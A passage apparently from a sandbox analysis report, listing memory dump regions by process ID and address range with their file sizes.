                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                            • memory/6584-518-0x00000000050E0000-0x00000000050E1000-memory.dmp

                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                            • memory/6584-519-0x00000000050F0000-0x00000000050F1000-memory.dmp

                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                            • memory/6584-522-0x0000000005110000-0x0000000005111000-memory.dmp

                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                            • memory/6584-520-0x0000000005100000-0x0000000005101000-memory.dmp

                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                            • memory/6584-504-0x0000000005020000-0x0000000005021000-memory.dmp

                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                            • memory/6584-501-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                            • memory/6584-500-0x0000000003921000-0x000000000394C000-memory.dmp

                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                              172KB

                                                                                                                                                                                                                                                                                                                            • memory/6684-485-0x0000000001090000-0x0000000001F71000-memory.dmp

                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                              14.9MB

                                                                                                                                                                                                                                                                                                                            • memory/6868-466-0x00000000019F0000-0x00000000019F1000-memory.dmp

                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                            • memory/7160-481-0x0000000001090000-0x0000000001F71000-memory.dmp

                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                              14.9MB